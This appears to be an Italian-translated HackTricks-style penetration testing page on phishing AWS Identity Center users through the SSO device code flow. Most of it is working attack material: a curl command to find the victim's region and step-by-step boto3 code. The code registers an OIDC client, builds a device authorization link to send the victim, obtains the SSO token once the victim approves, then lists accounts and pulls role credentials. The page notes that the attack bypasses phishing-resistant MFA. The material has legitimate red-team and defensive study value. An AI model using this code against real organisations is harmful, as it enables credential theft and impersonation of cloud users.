# AWS - Identity Center & SSO Unauthenticated Enum

{{#include ../../../../banners/hacktricks-training.md}}

## AWS Device Code Phishing

Initially proposed in [**this blog post**](https://blog.christophetd.fr/phishing-for-aws-credentials-via-aws-sso-device-code-authentication/), è possibile inviare un **link** a un utente che usa AWS SSO che, se l'**utente accetta**, permetterà all'attaccante di ottenere un **token per impersonare l'utente** e accedere a tutti i ruoli a cui l'utente può accedere nell'**Identity Center**.

Per eseguire questo attacco i requisiti sono:

- La vittima deve usare **Identity Center**
- L'attaccante deve conoscere il **subdomain** usato dalla vittima `<victimsub>.awsapps.com/start`

Solo con queste informazioni, l'**attaccante sarà in grado di inviare un link all'utente** che, se **accettato**, concederà all'**attaccante accesso sull'account utente AWS**.

### Attacco

1. **Finding the subdomain**

Il primo passo per l'attaccante è scoprire il subdomain che l'azienda vittima usa nel proprio Identity Center. Questo può essere fatto tramite **OSINT** o **guessing + BF**, dato che la maggior parte delle aziende utilizza il proprio nome o una sua variazione qui.

Con queste informazioni, è possibile ottenere la regione in cui l'Identity Center è stato configurato:
```bash
curl https://victim.awsapps.com/start/ -s | grep -Eo '"region":"[a-z0-9\-]+"'
"region":"us-east-1
```
2. **Genera il link per la vittima & Invialo**

Esegui il codice seguente per generare un link di accesso AWS SSO in modo che la vittima possa autenticarsi.\
Per la demo, esegui questo codice in una console python e non chiuderla, perché in seguito avrai bisogno di alcuni oggetti per ottenere il token:
```python
import boto3

REGION = 'us-east-1' # CHANGE THIS
AWS_SSO_START_URL = 'https://victim.awsapps.com/start' # CHANGE THIS

sso_oidc = boto3.client('sso-oidc', region_name=REGION)
client = sso_oidc.register_client(
clientName = 'attacker',
clientType = 'public'
)

client_id = client.get('clientId')
client_secret = client.get('clientSecret')
authz = sso_oidc.start_device_authorization(
clientId=client_id,
clientSecret=client_secret,
startUrl=AWS_SSO_START_URL
)

url = authz.get('verificationUriComplete')
deviceCode = authz.get('deviceCode')
print("Give this URL to the victim: " + url)
```
Invia il link generato alla vittima usando le tue ottime abilità di social engineering!

3. **Attendi che la vittima lo accetti**

Se la vittima era **già loggata in AWS** dovrà solo accettare la concessione dei permessi; se non lo era, dovrà **effettuare il login e poi accettare la concessione dei permessi**.\
Ecco come appare il prompt oggigiorno:

<figure><img src="../../../images/image (343).png" alt="" width="311"><figcaption></figcaption></figure>

4. **Ottieni SSO access token**

Se la vittima ha accettato il prompt, esegui questo codice per **generare un SSO token impersonando l'utente**:
```python
token_response = sso_oidc.create_token(
clientId=client_id,
clientSecret=client_secret,
grantType="urn:ietf:params:oauth:grant-type:device_code",
deviceCode=deviceCode
)
sso_token = token_response.get('accessToken')
```
Il SSO access token è **valido per 8h**.

5. **Impersonate the user**
```python
sso_client = boto3.client('sso', region_name=REGION)

# List accounts where the user has access
aws_accounts_response = sso_client.list_accounts(
accessToken=sso_token,
maxResults=100
)
aws_accounts_response.get('accountList', [])

# Get roles inside an account
roles_response = sso_client.list_account_roles(
accessToken=sso_token,
accountId=<account_id>
)
roles_response.get('roleList', [])

# Get credentials over a role

sts_creds = sso_client.get_role_credentials(
accessToken=sso_token,
roleName=<role_name>,
accountId=<account_id>
)
sts_creds.get('roleCredentials')
```
### Phishing the unphisable MFA

È interessante sapere che l'attacco precedente **funziona anche se viene usata una "unphisable MFA" (webAuth)**. Questo perché il precedente **workflow non esce mai dal dominio OAuth utilizzato**. Non come in altri attacchi di phishing, dove l'utente deve supplire il dominio di login: in questo caso il device code workflow è predisposto in modo che un **code sia noto a un device** e l'utente possa effettuare il login anche da una macchina diversa. Se il prompt viene accettato, il device, semplicemente **conoscendo il code iniziale**, sarà in grado di **retrieve credentials** per l'utente.

Per maggiori informazioni su questo [**consulta questo post**](https://mjg59.dreamwidth.org/62175.html).

### Strumenti automatici

- [https://github.com/christophetd/aws-sso-device-code-authentication](https://github.com/christophetd/aws-sso-device-code-authentication)
- [https://github.com/sebastian-mora/awsssome_phish](https://github.com/sebastian-mora/awsssome_phish)

## Riferimenti

- [https://blog.christophetd.fr/phishing-for-aws-credentials-via-aws-sso-device-code-authentication/](https://blog.christophetd.fr/phishing-for-aws-credentials-via-aws-sso-device-code-authentication/)
- [https://ruse.tech/blogs/aws-sso-phishing](https://ruse.tech/blogs/aws-sso-phishing)
- [https://mjg59.dreamwidth.org/62175.html](https://mjg59.dreamwidth.org/62175.html)
- [https://ramimac.me/aws-device-auth](https://ramimac.me/aws-device-auth)

{{#include ../../../../banners/hacktricks-training.md}}
